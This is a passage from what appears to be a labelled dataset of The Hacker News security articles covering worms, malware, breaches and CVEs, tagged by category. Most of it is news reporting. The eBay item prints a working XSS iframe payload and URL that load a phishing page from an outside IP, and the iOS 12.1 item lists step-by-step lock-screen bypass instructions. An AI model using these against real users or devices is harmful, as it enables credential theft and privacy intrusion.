""The attack targets a QNAP CGI script, /cgi-bin/authLogin.cgi, a well known vector for Shellshock on QNAP devices,"" Johannes B. Ullrich, head of the Internet Storm Center at the SANS Institute, wrote in the blog post published Sunday. ""This script is called during login, and reachable without authentication. The exploit is then used to launch a simple shell script that will download and execute a number of additional pieces of malware.""
Once the device is infected by the worm, malicious components also execute a script that makes the device to carry out click fraud scam against an online advertising network JuiceADV. A number of other scripts are also installed on the infected system. The worm is dangerous because the ""infected devices have been observed scanning for other vulnerable devices,"" Ullrich said.

According to the researcher, the infected systems are equipped with a secure shell (SSH) server on port 26 and a new administrative user, which gives the attackers a determined backdoor to hide into the device at any time in the future.
""The DNS change is likely made to avoid logging and potentially blacklisting of any affected domains,"" Ullrich said. ""The SSH server is a second SSH server that is being launched, in addition to the normal SSH server on port 22. This second SSH server, and the additional user added to the system, provides the attacker with persistent access to the system.""
More interestingly, the worm also patches the notorious Shellshock vulnerability on the infected devices by downloading and applying the security updates from QNAP and reboot the device, in order to prevent other attackers from taking over the compromised device.

",Vulnerability
Armorize Partners With Symantec to Provide Powerful Anti-Malvertising Technology,https://thehackernews.com/2011/10/armorize-partners-with-symantec-to.html,"Armorize Partners With Symantec to Provide Powerful Anti-Malvertising Technology

Armorize Partners With Symantec to Provide Its Powerful Anti-Malvertising Technology to Symantec's New Solution, AdVantage, to Help Customers Protect Themselves From the Growing Threat of Malicious Advertising Attacks.

The partnership will utilize the advanced malware detection engine from Armorize's successful HackAlert product lines to power Symantec's new cloud-based anti-malvertising solution, Symantec AdVantage.The Symantec AdVantage solution will provide its customers with the ability to monitor the ads displayed on their websites for web malware. The product dashboard will also present valuable statistics which enable publishers to compare the quality of ads and ad networks they work with based on the safety ratings and reputation scores for each specific ad or network.

Some of the users who visited KickassTorrents (KAT), one of the most popular torrent trackers on the Internet, over the weekend had the nasty surprise of being infected with a rogue antivirus program called ""Security Sphere 2012.""

According to experts from Web security vendor Armorize Technologies who detected the drive-by download attack, the infection process did not require any user interaction if the victim had outdated browser plug-ins.

Malvertizing (malicious advertising) attacks are much more dangerous than those relying on spammed links or social engineering because they exploit the trust relationship between users and their favorite websites. Coupled with drive-by download exploits like those used in this case, such incidents can result in a high number of victims.Symantec has partnered with Armorize Technologies to develop a new cloud-based service called Symantec AdVantage, which promises to help webmasters detect malicious code hidden within the advertisements displayed on their websites.
",Malware
Don't Fall for Fake Instagram Desktop Applications Offering 'Image Viewer',https://thehackernews.com/2014/05/dont-fall-for-fake-instagram-desktop.html,"Today, the estimated number of known computer threats like viruses, worms, backdoors, exploits, Trojans, spyware, password stealers, and other variants of potentially unwanted software range into millions. It has ability to create several different forms of itself dynamically in order to thwart antimalware programs.

Instagram users are also targeted by the potentially unwanted software programs that claims to enable them to download their Instagram photos and videos using desktop machines or computers. But once downloaded and installed into system, it could expose the user to a number of security vulnerabilities, often overlap with adware, warned the security firm Malwarebytes.

""In the case of Instagram, what we've seen out there could pose greater risk than, say, your average phishing site,"" said Malwarebytes intelligence analyst Jovi Umawing in a blog post.

Instagram is a social networking service use for online photo-sharing and video-sharing. It allows its users to take pictures and videos, apply digital filters to them, and share them on other social networking services, such as Facebook, Twitter, Tumblr and Flickr.

With the growing popularity and concern among the internet users, Instagram is widely used by people. The firm expects that in the coming years the number of users will steadily increase until at least 2016, by considering the latest statistics from the digital marketing research and analysis company eMarketers published in late March, Instagram surpassed Twitter in terms of active mobile users in the US by 2.7 million, which is really a very large number.

""With news of Instagram finally beating Twitter in terms of overall usage, it's high time that we stop, look back, and remind ourselves of the potential dangers lurking on the net specifically crafted to target Instagram users and lurkers alike,"" the company warned in a blog post.

Malwarebytes found a number of files and sites as well that take advantage of software's popularity and come bundled with the downloads of such third-party programs which includes a number of potentially unwanted programs (PUPs) that could spell bad news for users.
However, Potentially Unwanted Programs are not technically-classified as trojans or any other type of malware, but it serve little purpose other than using your computer as a gateway for online advertisements or as a catalyst to deliver annoying or malicious applications that may pester you to the point where you want to throw your computer out a window.

""Doing a Google search surely yields sites where one can download several programs involving Instagram. Some of which can either be classed as 'image viewers' or 'image and video downloaders' publicly-accessible accounts,"" the firm wrote. ""Since Instagram can be visited via Web browsers, we can easily say that these downloads target any Windows computer user who just want to keep copies of photos and videos that are likely not their own.""

There are anti-malwares to detect these kinds of threats, but this is something that remains on the users' hand as well because the increase in the number of potentially unwanted programs and its several variants could target online users and cause danger. So, avoid downloading such programs onto your personal systems.


",Malware
StoneDrill Disk Wiping Malware Found Targeting European Industries,https://thehackernews.com/2017/03/stonedrill-data-wiping-malware.html,"A new disk wiping malware has been uncovered targeting a petroleum company in Europe, which is quite similar to the mysterious disk wiper malware Shamoon that wiped data from 35,000 computers at Saudi Arabia's national oil company in 2012.

Disk wiping malware has the ability to cripple any organization by permanently wiping out data from all hard drive and external storage on a targeted machine, causing great financial and reputational damage.

Security researchers from Moscow-based antivirus provider Kaspersky Lab discovered the new wiper StoneDrill while researching last November's re-emergence of Shamoon malware (Shamoon 2.0) attacks – two attacks occurred in November and one in late January.

Shamoon 2.0 is the more advanced version of Shamoon malware that reportedly hit 15 government agencies and organizations across the world, wipes data and takes control of the computer's boot record, preventing the computers from being turned back on.

Meanwhile, Kaspersky researchers found that the newly discovered StoneDrill wiper malware was built in a similar ""style"" to Shamoon 2.0, but did not share the exact same code base.
""The discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its destructive attacks outside the Middle East,"" Kaspersky researchers say in a blog post. ""The target for the attack appears to be a large corporation with a wide area of activity in the petrochemical sector, with no apparent connection or interest in Saudi Arabia.""
Researchers also noticed that the samples of Shamoon 2.0 and StoneDrill were also uploaded multiple times to online multi-scanner antivirus engines from Saudi Arabia last November.

Here's How StoneDrill Malware Works:
StoneDrill has been designed to as a service and target all systems connected within an organization to a Windows domain. In order to spread itself, the malware relies on a list of hard coded, previously stolen usernames and passwords belonging to administrators of the targeted domain.

Once infected, StoneDrill automatically generates a custom wiper malware module without connecting to any command-and-control server, rendering the infected machines completely inoperable.

StoneDrill wiper malware also includes the following characteristics:

New Evasion Techniques
StoneDrill features an impressive ability to evade detection and avoid sandbox execution. Unlike Shamoon, StoneDrill doesn't make use of disk drivers during installation.

Instead, StoneDrill relies on memory injection of the data wiping module into the victim's preferred browser.

StoneDrill also makes use of Visual Basic Scripts to run self-delete scripts, while Shamoon did not use any external scripts.

Backdoor Ability
Like Shamoon, StoneDrill also includes backdoor functions that are used for espionage operations, with screenshot and upload capabilities.

Kaspersky researchers identified at least four command-and-control (C&C) servers that the attackers used to spy on and steal data from an unknown number of targets.

Furthermore, StoneDrill uses command and control communications to interact with the malware instead of using a ""kill time"" as in the Shamoon attacks analyzed in January 2017 that do not implement any C&C communication.

Ransomware Component

Besides wiping functionality, the new malware also includes a ransomware component.

However, this feature is currently inactive but attackers can use leverage this part of the platform in future attacks to hold victims hostage for financial or idealistic gain.

Like Shamoon 2.0, StoneDrill was reportedly compiled in October and November 2016.

Although StoneDrill mostly targets organizations in Saudi Arabia, Kaspersky researchers discovered the malware victims in Europe as well, meaning that the attackers might be widening their campaign.

For more technical details about the StoneDrill and Shamoon 2.0 attacks, you can head on to Kaspersky's official blog.

",Cyber_Attack
New iPhone Passcode Bypass Found Hours After Apple Releases iOS 12.1,https://thehackernews.com/2018/10/iphone-ios-passcode-bypass.html,"It's only been a few hours since Apple releases iOS 12.1 and an iPhone enthusiast has managed to find a passcode bypass hack, once again, that could allow anyone to see all contacts' private information on a locked iPhone.

Jose Rodriguez, a Spanish security researcher, contacted The Hacker News and confirmed that he discovered an iPhone passcode bypass bug in the latest version of its iOS mobile operating system, iOS 12.1, released by Apple today.

To demonstrate the bug, Rodriguez shared a video with The Hacker News, as shown below, describing how the new iPhone hack works, which is relatively simple to perform than his previous passcode bypass findings.

Instead, the issue resides in a new feature, called Group FaceTime, introduced by Apple with iOS 12.1, which makes it easy for users to video chat with more people than ever before—maximum 32 people.

How Does the New iPhone Passcode Bypass Attack Work?

Unlike his previous passcode bypass hacks, the new method works even without having Siri or VoiceOver screen reader feature enabled on a target iPhone, and is trivial to execute.
Here are steps to execute the new passcode bypass hack:
Call the target iPhone from any other iPhone (if you don't know the target's phone number, you can ask Siri ""who I am,"" or ask Siri to make a call to your phone number digit by digit), or use Siri to call on your own iPhone.
As soon as the call connects, initiate the ""Facetime"" video call from the same screen.
Now go to the bottom right menu and select ""Add Person.""
Press the plus icon (+) to access the complete contact list of the targeted iPhone, and by doing 3D Touch on each contact, you can see more information.
""In a passcode-locked iPhone with latest iOS released today Tuesday, you receive a phone call, or you ask Siri make a phone call (can be digit by digit), and, by changing the call to FaceTime you can access to the contact list while adding more people to the Group FaceTime, and by doing 3D Touch on each contact you can see more contact information,"" Rodriguez told The Hacker News.
Also, it should be noted that since the attack utilizes Apple's Facetime, the hack would only work if the devices involved in the process are iPhones.

The new passcode bypass method seems to work on all current iPhone models, including iPhone X and XS devices, running the latest version of the Apple mobile operating system, i.e., iOS 12.1.

Since there's no workaround to temporarily fix the issue, users can just wait for Apple to issue a software update to address the new iPhone passcode bypass bug as soon as possible.

Rodriguez has previously discovered a series of iPhone passcode bypass hacks. Around two weeks ago, he found an iPhone bypass hack that works in 12.0.1 and takes advantage of Siri and VoiceOver screen reader to get through your phone's defenses, allowing attackers to access photos and contacts on a locked iPhone.

Rodriguez discovered a similar bug in iOS 12 in late last month that also takes advantage of Siri and VoiceOver screen reader, and allows attackers with physical access to your iPhone to access your contacts and photos.

",Vulnerability
Reserve Bank of Australia Hacked by Chinese malware,https://thehackernews.com/2013/03/reserve-bank-of-australia-hacked-by.html,"If hackers want to get into your computer network, they will find a way. You can make it harder but you can't stop them.
According to Australian Financial Review report on Monday, the Reserve Bank of Australia (RBA) was hacked by hackers who infiltrated its networks and allegedly stole information using a Chinese piece of malware.

After investigations they found multiple computers had been compromised by malicious software seeking intelligence. Several RBA staffers including heads of department were sent the malicious emails over two days, but it isn't known if the malware executed and succeeded in capturing information from the compromised computers.

The malware consisted of a web address that linked to a zip file that contained a Trojan which at the time was not detected by the anti-virus program, according to the bank.

A Defence department spokesperson said: ""The government does not discuss specific cyber incidents, activities or capabilities. [Doing so] could jeopardise ongoing investigations, monitoring of cyber incidents and the ability to protect information and networks.""

Documents also showed that six users clicked on the link contained in the mail. All of the six workstations affected did not have local administrator rights, so the virus could not spread.

",Cyber_Attack
Billions of Android Devices Vulnerable to Privilege Escalation Except Android 5.0 Lollipop,https://thehackernews.com/2014/11/billions-of-android-devices-vulnerable.html,"A security weakness in Android mobile operating system versions below 5.0 that puts potentially every Android device at risk for privilege escalation attacks, has been patched in Android 5.0 Lollipop – the latest version of the mobile operating system.

The security vulnerability (CVE-2014-7911), discovered by a security researcher named Jann Horn, could allow any potential attacker to bypass the Address Space Layout Randomization (ASLR) defense and execute arbitrary code of their choice on a target device under certain circumstances. ASLR is a technique involved in protection from buffer overflow attacks.

The flaw resides in java.io.ObjectInputStream, which fails to check whether an Object that is being deserialized is actually a serializable object. The vulnerability was reported by the researcher to Google security team earlier this year.

According to the security researcher, android apps can communicate with system_service, which runs under admin privileges (UID 1000) and using Intents with the attached Bundles, these are ""transferred as arraymap Parcels and arraymap Parcels can contain serialized data,"" in this way, any android app can attack the system_service.

After hearing a talk at a university about a vulnerability in a PHP web app involving deserialization of attacker-provided input data, Horn thought about serialization in other contexts, such as Android operating system.

Based on the assumption that Java ensures that the classes used are actually serialized and that ObjectInputStream may sometimes receive untrusted inputs, he figured out if the Android developers took the precaution to verify for deserialization possibility under this scenario. ""Went home, checked, the [vulnerability] was there,"" Horn writes in a thread about the security vulnerability on Reddit.
""When ObjectInputStream is used on untrusted inputs, an attacker can cause an instance of any class with a non-private parameterless constructor to be created,"" the security advisory from Horn says. ""All fields of that instance can be set to arbitrary values.""
""The malicious object will then typically either be ignored or cast to a type to which it doesn't fit, implying that no methods will be called on it and no data from it will be used. However, when it is collected by the GC, the GC will call the object's finalize method.""
In order to explain the issue, the security researcher has provided technical details and also developed a proof-of-concept (PoC) that crashes system_service. Till now, a full exploit of the bug has not been created and also Horn is not entirely sure about how predictable the address layout of the system_server really is or how easy it is to write a large amount of data into system_server's heap. However, in order to exploit this vulnerability on a vulnerable device, one need to get a malicious app onto the target device.

Horn disclosed the security bug to Android development team on June 22 and after addressing the bug, on November 3, a patch was delivered in Android Lollipop as part of the AOSP (Android Open Source Project) code release, but lower versions of Android OS are still vulnerable.

Android 5.0 Lollipop is the latest mobile operating system by Google, who describe Lollipop as ""the largest Android release yet,"" with more than 5,000 new APIs. But users of Lollipop are warning others not to immediately upgrade their mobile OS, after experiencing broken apps, repeated crashes, and device slowdowns.

",Vulnerability
Chinese Hackers Using Firefox Extension to Spy On Tibetan Organizations,https://thehackernews.com/2021/02/chinese-hackers-using-firefox-extension.html,"Cybersecurity researchers today unwrapped a new campaign aimed at spying on vulnerable Tibetan communities globally by deploying a malicious Firefox extension on target systems.
""Threat actors aligned with the Chinese Communist Party's state interests delivered a customized malicious Mozilla Firefox browser extension that facilitated access and control of users' Gmail accounts,"" Proofpoint said in an analysis.
The Sunnyvale-based enterprise security company pinned the phishing operation on a Chinese advanced persistent threat (APT) it tracks as TA413, which has been previously attributed to attacks against the Tibetan diaspora by leveraging COVID-themed lures to deliver the Sepulcher malware with the strategic goal of espionage and civil dissident surveillance.
The researchers said the attacks were detected in January and February 2021, a pattern that has continued since March 2020.
The infection chain begins with a phishing email impersonating the ""Tibetan Women's Association"" using a TA413-linked Gmail account that's known to masquerade as the Bureau of His Holiness the Dalai Lama in India.
The emails contain a malicious URL, supposedly a link to YouTube, when in fact, it takes users to a fake ""Adobe Flash Player Update"" landing page where they are prompted to install a Firefox extension that Proofpoint calls ""FriarFox.""
For its part, the rogue extension — named ""Flash update components"" — disguises itself as an Adobe Flash-related tool, but the researchers said it's largely based on an open-source tool named ""Gmail Notifier (restartless)"" with significant alterations that add malicious capabilities, including incorporating modified versions of files taken from other extensions such as Checker Plus for Gmail.
The timing of this development is no coincidence, as Adobe officially began blocking Flash content from running in browsers starting January 12 following the rich multimedia format's end-of-life on December 31, 2020.
Interestingly, it appears that the operation is targeting only users of Firefox Browser who are also logged in to their Gmail accounts, as the add-on is never delivered in scenarios when the URL in question is visited on a browser such as Google Chrome or in cases where the access happens via Firefox, but the victims don't have an active Gmail session.
""In recent campaigns identified in February 2021, browser extension delivery domains have prompted users to 'Switch to the Firefox Browser' when accessing malicious domains using the Google Chrome Browser,"" the researchers said.
Once installed, the extension, besides having access to browser tabs and user data for all websites, comes equipped with features to search, read, and delete messages and even forward and send emails from the compromised Gmail account.
Additionally, FriarFox also contacts an attacker-controlled server to retrieve a PHP and JavaScript-based payload called Scanbox.
Scanbox is a reconnaissance framework that enables attackers to track visitors to compromised websites, capture keystrokes, and harvest data that could be used to enable follow-on compromises. It has also been reported to have been modified in order to deliver second-stage malware on targeted hosts.
Campaigns using Scanbox were previously spotted in March 2019 by Recorded Future targeting visitors to the website of Pakistan's Directorate General of Immigration and Passports (DGIP) and a fake typosquatted domain claiming to be the official Central Tibetan Administration (CTA).
The introduction of the FriarFox browser extension in TA413's arsenal points to APT actors' ""insatiable hunger"" for access to cloud-based email accounts, says Sherrod DeGrippo, Proofpoint's senior director of threat research and detection.
""The complex delivery method of the tool [...] grants this APT actor near total access to the Gmail accounts of their victims, which is especially troubling as email accounts really are among the highest value assets when it comes to human intelligence,"" DeGrippo noted.
""Almost any other account password can be reset once attackers have access to someone's email account. Threat actors can also use compromised email accounts to send email from that account using the user's email signature and contact list, which makes those messages extremely convincing.""

",Cyber_Attack
"Security firm Bit9 hacked, Stolen Digital Certs Used To Sign Malware",https://thehackernews.com/2013/02/security-firm-bit9-hacked-stolen.html,"Bit9 disclosed Friday that hackers had stolen digital code signing certificates from its network and have utilized it to sign malware. Bit9, a company that provides software and network security services to the U.S. government and at least 30 Fortune 100 firms.

""As a result, a malicious third party was able to illegally gain temporary access to one of our digital code-signing certificates that they then used to illegitimately sign malware,"" Bit9 Chief Executive Patrick Morley said in a blog post.

The attackers then sent signed malware to at least three of Bit9's customers, although Bit9 isn't saying which customers were affected or to what extent.

""Since we discovered this issue, we have been working closely with all of our customers to ensure they are no longer vulnerable to malware associated with the affected certificate."" and company said it has resolved the issue.

It is not the first time that hackers have breached a security firm as part of a sophisticated scheme to access data at one of their customers. EMC Corp's RSA Security division disclosed that it was breached in 2011.

",Malware
Popular URL Shortener 'Bitly' User Accounts Reportedly Compromised,https://thehackernews.com/2014/05/popular-url-shortener-bitly-user.html,"The famous URL shortening service is facing a data breach. The very popular URL shortening service Bitly, has issued an urgent security warning saying that its users' account credentials may have been compromised, according to a blog post published yesterday.

""We have reason to believe that Bitly account credentials have been compromised; specifically, users' email addresses, encrypted passwords, API keys and OAuth tokens,"" Bitly CEO Mark Josephson wrote in a blog post. At this point, however, there is no indication that hackers have broken into any user accounts, he said.

Bitly was founded in 2008, allows users to shorten links and making it to share on other sites easier for users. It is privately held and based in New York City. Bitly shortens more than one billion links per month and powers over 10,000 custom short URLs and offers an enterprise analytics platform that helps web publishers and brands grow their social media traffic.

Bitly users' account information is suspected to have been compromised after a recent hack. In order to protect the private information of its users, the company has disconnected the Facebook and Twitter accounts of all users and is requesting users to change their passwords, as well as safely reconnect their Facebook and Twitter accounts to the site thereafter.

Bitly didn't give any detailed explanations on how this hack occurred and what other information was stolen besides account credentials of users. The service says it has taken ""proactive measures to secure all paths that led to the compromise.""

The service originally served as the default link shortener for the Twitter, until Twitter developed its own product service in 2009.

In addition to resetting all passwords, users will also have to reset their API keys and OAuth tokens, following the instructions on Bitly's blog. But if you're using the Bitly service, you'll also need to take some necessary actions.

""Please take the following steps to secure your account: change your API key and OAuth token, reset your password, and reconnect your Facebook and Twitter accounts,"" Josephson wrote. ""We are recommending all Bitly users make these changes.""

To reset your API key and OAuth token, follow these instructions from Bitly:
Log in to your account and click on 'Your Settings,' then the 'Advanced' tab.
At the bottom of the 'Advanced' tab, select 'Reset' next to 'Legacy API key.'
Copy down your new API key and change it in all applications. These can include social publishers, share buttons, and mobile apps.
Go to the 'Profile' tab and reset your password.
Disconnect and reconnect any applications that use Bitly. You can check which accounts are connected under the 'Connected Accounts' tab in 'Your Settings.'
""We have already taken proactive measures to secure all paths that led to the compromise and ensure the security of all account credentials going forward,"" the company said. ""We take your security and trust in us seriously. The team has been working hard to ensure all accounts are secure."" The company apologize for any inconvenience caused.

",Data_Breaches
Radware's Attack Mitigation System Delivers the First Fully Integrated Solution to Fight Cyber Attacks in Real Time,https://thehackernews.com/2011/09/radwares-attack-mitigation-system.html,"Radware's Attack Mitigation System Delivers the First Fully Integrated Solution to Fight Cyber Attacks in Real Time

The solution blocks the new breed of sophisticated attacks that target Multiple layers of the IT infrastructure . Today's point security tools for IT infrastructures are not enough to protect against the new wave of sophisticated cyber attacks. That's why Radware (NASDAQ: RDWR), a leading provider of application delivery and application security solutions for virtual and cloud data centers, today announced Radware Attack Mitigation System (AMS), the industry's first fully integrated IT security strategy and portfolio that protects the application infrastructure in real time against network and application downtime, application vulnerability exploitation, malware spread, information theft, Web service attacks and Web defacement.


Additional Resources
· AMS Brochure
· CTO Expert Article
· ERT Incidents Report 1H, 2011
· AMS & SEIM White Paper
· Solution Video
· SlideShare Presentation
Available today, Radware's AMS provides the most comprehensive solution to fight multi-vulnerability campaigns — today's sophisticated, headline-grabbing cyber attacks that probe IT targets for weaknesses and strike with parallel assaults across the infrastructure. These attacks are hard to defend against because they are aimed at multiple layers in the IT architecture, particularly against network infrastructure equipment, servers and applications. Examples of multi-vulnerability attacks include high-volume distributed denial of service (DDoS) attacks as well as ""low & slow"" stealthy attacks, network- and application-based attacks, all of which hit simultaneously at multiple weakness points in the networks while emulating legitimate user behavior making them harder to identify and block.
""The major advance in new threats has been the level of tailoring and targeting — these are not noisy, mass attacks that are easily handled by simple, signature-dependent security approaches. Targeted attacks aim to achieve a specific impact against specific enterprises, and have three major goals: Denial of service -- Disrupting business operations; Theft of service -- Obtaining use of the business product or service without paying for it; and Information compromise -- Stealing, destroying or modifying business-critical information,"" according to John Pescatore, VP Distinguished Analyst, Gartner, Inc. ""Enterprises need to focus on reducing vulnerabilities and increasing monitoring capabilities to deter or more quickly react to evolving threats, and not focus on what country the attacks are coming from. ""
Organizations typically respond to these attacks with separate patches and tools for protection such as anti-DoS, intrusion prevention systems (IPS), Web application firewalls (WAF), network behavioral analysis (NBA), reputation engines, and security information and event management (SIEM) solutions. Radware AMS consolidates these multiple attack detection with mitigation technologies, such as signature detection and network and application behavioral analysis (NABA), to handle malicious application traffic through application-level challenge/response techniques. This gives security managers the ability to identify bots that imitate real user application transactions and block them in real time, avoiding the need to perform rate-based protection that would drop legitimate users along with the attack traffic.
""Nearly all IT security solutions today are designed and deployed as point solutions. That's the problem — they miss the big picture,"" said Avi Chesla, Chief Technical Officer for Radware. ""Thus they cannot make the required context-based security assessment, leaving the network exposed to today's multi-vulnerability attack campaigns.
""Most vendors only specialize as players in a primary solution – providing only WAF, IPS, DoS protection, or network behavioral analysis. Others will offer 'light' version add-ons to incorporate additional defenses. The solution we have launched offers best-of-breed technologies for all of these security modules in a holistic, integrated solution addressing the full gamut of today's evolving security threat landscape. Recent cyber attacks prove that businesses need to plan for the worst case, and that plan mandates the use of Radware's AMS solution,"" Chesla said.
The ultimate impact of multi-vulnerability attacks on businesses can be staggering, resulting in fraud, defacement, identity theft, leaking of sensitive corporate information, and as seen in many cases over the past year, a complete shutdown of operations. Yet as hackers evolve in sophistication, so too must IT security managers evolve their thinking. Radware AMS can lead a transformative shift in the way the industry approaches IT security from the current, tool-based response to a holistic approach that integrates tools and strategies into a real-time, proactive, attack mitigation solution.
Designed for online businesses, large enterprises, carriers, data centers and managed service providers, Radware's AMS is built on Radware's award-winning DefensePro® network security appliance, AppWall® Web application firewall and APSolute Vision® application and network security management dashboard.
Radware supplements these capabilities by adding the human factor — the professional security consultants of its Emergency Response Team (ERT) who are available around the clock. As literal ""first responders"" to cyber attacks, Radware's ERT members gained their extensive experience by successfully dealing with some of the industry's most notable hacking episodes, providing the knowledge and expertise to mitigate the kind of attack a business's security team may never have handled.
Global Marketing Campaign
In support of the announcement, Radware is launching its new company blog, which features expert insights on not only security, but also application delivery, mobile data, virtualization, service provider issues and a host of other IT topics. The company is also running a global marketing and advertising campaign to educate end users on how they need to be fully equipped to overcome today's multi-vulnerability attacks and take an offensive posture. The campaign features a Flash game and contest designed to provide players with a fun way to learn about Radware's Attack Mitigation System capabilities while they understand how to cost-effectively neutralize today's distributed attacks. The game, ""Radware AMS Threat Race"", runs until mid-October and offers contestants the opportunity to win $5,000. For more information and game access, please visit: https://www.radware.com/ams.
For more information on Radware's AMS, go to: https://www.radware.com/Solutions/Enterprise/Security/default.aspx.

",Malware
"Air India unit - Centaur Hotels website insecure - Passports, ID's, credit cards data at Risk",https://thehackernews.com/2011/06/air-india-unit-centaur-hotels-website.html,"Air India unit - Centaur Hotels website insecure - Passports, ID's, credit cards data at Risk

Website of Centaur Hotel at IGI airport New Delhi - https://centaurhotels.com/ used to upload customer data like passport, pan card, credit card and other forms of personal identification of their guests staying at New Delhi IGI airport property, Data in an hidden indexed directory on the website as shown above.


The Centaur Hotels is a unit of the Hotel Corporation of India, which is a wholly owned subsidiary of India's national carrier Air India which in turn is 100% owned by the Government of India.


This Security failure is disclosed by Bangalore Aviation. Capt. Samarth Singh claimed the website was under the control of another company for the last year and was handed over him only one week ago. He said ""The website has been under the direct control and jurisdiction of S. Naidu Pvt. Ltd. for the last one year. During this period Hybrid Content site credit has not been removed from the Centaur Hotel's website. Any further clarifications may be entertained in presence of all three parties i.e. Centaur Hotels, S. Naidu Pvt. Ltd. and Hybrid Content.""


Some Documents from Site :




",Vulnerability
Google Finds 7 Security Flaws in Widely Used Dnsmasq Network Software,https://thehackernews.com/2017/10/dnsmasq-network-services.html,"Security researchers have discovered not one or two, but a total of seven security vulnerabilities in the popular open source Dnsmasq network services software, three of which could allow remote code execution on a vulnerable system and hijack it.

Dnsmasq is a widely used lightweight network application tool designed to provide DNS (Domain Name System) forwarder, DHCP (Dynamic Host Configuration Protocol) server, router ads and network boot services for small networks.

Dnsmasq comes pre-installed on various devices and operating systems, including Linux distributions such as Ubuntu and Debian, home routers, smartphones and Internet of Things (IoT) devices. A shodan scan for ""Dnsmasq"" reveals around 1.1 million instances worldwide.

Recently, Google's security team reviewed Dnsmasq and discovered seven security issues, including DNS-related remote code execution, information disclosure, and denial-of-service (DoS) issues that can be triggered via DNS or DHCP.
""We discovered seven distinct issues (listed below) over the course of our regular internal security assessments,"" Google's security team wrote in a blog post published on Monday.
""Once we determined the severity of these issues, we worked to investigate their impact and exploitability and then produced internal proofs of concept for each of them. We also worked with the maintainer of Dnsmasq, Simon Kelley, to produce appropriate patches and mitigate the issue.""
Since the vulnerabilities have now been patched by Dnsmasq developer and maintainer Simon Kelley, Google researchers have released details and proof-of-concept (PoC) exploit code for each of the vulnerabilities.

Out of seven vulnerabilities discovered by the team, three can be exploited to perform remote code execution, three can be used in denial of service attacks, and one information leakage flaw.

Here's the List of All Vulnerabilities:


CVE-2017-14491—A DNS-based remote code execution vulnerability in Dnsmasq versions before 2.76 is marked as the most severe that allows for unrestricted heap overflows, affecting both directly exposed and internal network setups.
CVE-2017-14492—Another remote code execution vulnerability due to a DHCP-based heap overflow issue.
CVE-2017-14493—Another noteworthy DHCP-based remote code execution bug caused by a stack buffer overflow. According to Google, this flaw is trivial to exploit if it's used in conjunction with the flaw (CVE-2017-14494) mentioned below.
CVE-2017-14494—An information leak in DHCP which can be combined with CVE-2017-14493 to allow attackers bypass ASLR security mechanism and execute arbitrary code on a target system.
CVE-2017-14495—A flaw in Dnsmasq which can be exploited to launch a denial of service (DoS) attack by exhausting memory via DNS. The flaw impacts dnsmasq only if one of these options is used: --add-mac, --add-cpe-id or --add-subnet.
CVE-2017-14496—Google's Android operating system is specifically affected by this DoS issue which can be exploited by a local hacker or one who is tethered directly to the device. However, Google pointed out the service itself is sandboxed, so the risk to Android users is reduced.
CVE-2017-14497—Another DoS issue wherein a large DNS query can crash the software.


Since all the issues have already been addressed with the release of Dnsmasq 2.78, Dnsmasq users are advised to update their installations as soon as possible.

To patch your devices, make sure to upgrade packages on your system. Google has updated its affected services and released the security fixes to Android partners on 5 September 2017 in October's Android security updates.

Other affected Google services are also claimed to be updated. Kubernetes versions 1.5.8, 1.6.11, 1.7.7, and 1.8.0 have also been updated with a patched Dnsmasq.

",Vulnerability
Simple Yet Effective eBay Bug Allows Hackers to Steal Passwords,https://thehackernews.com/2016/01/ebay-hacking.html,"A simple, yet effective flaw discovered on eBay's website exposed hundreds of millions of its customers to an advance Phishing Attack.

An Independent Security Researcher reported a critical vulnerability to eBay last month that had the capability to allow hackers to host a fake login page, i.e. phishing page, on eBay website in an effort to steal users' password and harvest credentials from millions of its users.

The researchers, nicknamed MLT, said anyone could have exploited the vulnerability to target eBay users in order to take over their accounts or harvest thousands, or even millions, of eBay customers credentials by sending phishing emails to them.
MLT published a blog post about the eBay flaw on Monday, demonstrating how easy it is to exploit the flaw like this and steal customers' passwords.


Here's How ebay Hack Works

The flaw actually resided in the URL parameter that allowed the hacker to inject his iFrame on the legitimate eBay website.

This is a common web bug, technically known as a Cross-Site Scripting (XSS) vulnerability, in which attackers can exploit the vulnerability to inject malicious lines of code into a legitimate website.

MLT included an iframe link to his own 3rd-party phishing page within eBay's regular URL, which makes it look like the login page ""was hosted on the legitimate eBay website"".

The login page looked almost exactly like eBay's actual login page, except the second part of the customised URL, which most of the users don't even notice.

In this case, the iFrame containing the researcher's phishing page was injected to the page using the following payload:
document.write('<iframec=""https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; width=""1500″ height=""1000″>')
Here is the full URL, including the above payload, at time of injection:
https://ebay.com/link/?nav=webview&url=javascript:document.write%28%27%3Ciframe%20src=%22https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20height=%221000%22%3E%27%29
Here's the screenshot of the URL:

After this was done, MLT typed his username and password on the infected website and hit sign in, which gave him an error. But meanwhile, he was able to snatch the entered credentials in plaintext.

Video Demonstration

MLT also provided a video proof-of-concept, demonstrating the flaw in real-time. You can watch the video below:

MLT responsibly reported the flaw to eBay on December 11, but after an initial response asking for more information the following day, the company stopped responding to the researcher's emails and did not release a patch, even after knowing the consequences of the flaw.

However, when media contacted eBay asking about the vulnerability, the company rushed to release a patch on Monday and acknowledged MLT's finding on its site's page dedicated to thanking white hat hackers who responsibly report bugs on its website.

",Vulnerability
"Security Event : Hack In Paris (16-17 June, 2011)",https://thehackernews.com/2011/03/security-event-hack-in-paris-16-17-june.html,"Security Event : Hack In Paris (16-17 June, 2011)


Hack In Paris is an international and corporate security event that will take place in Disneyland Paris® fromJune 16th to 17th of 2011. Please refer to the homepage to get up-to-date information about the event.

Topics
The following list contains major topics the conference will cover. Please consider submitting even if the subject of your research is not listed here.
Advances in reverse engineering
Vulnerability research and exploitation
Penetration testing and security assessment
Malware analysis and new trends in malicous codes
Forensics, IT crime & law enforcement
Privacy issues: LOPPSI, HADOPI, …
Low-level hacking (console security & mobile devices)
Risk management and ISO 27001
Dates
January 20: CFP announced
March 30: Submission deadline
April 15: Notification sent to authors
April 17: Program announcement
June 16-17: Hack In Paris
June 18: Nuit du Hack
More Information: https://hackinparis.com

",Malware
New Intel CPU Flaw Exploits Hyper-Threading to Steal Encrypted Data,https://thehackernews.com/2018/11/portsmash-intel-vulnerability.html,"A team of security researchers has discovered another serious side-channel vulnerability in Intel CPUs that could allow an attacker to sniff out sensitive protected data, like passwords and cryptographic keys, from other processes running in the same CPU core with simultaneous multi-threading feature enabled.

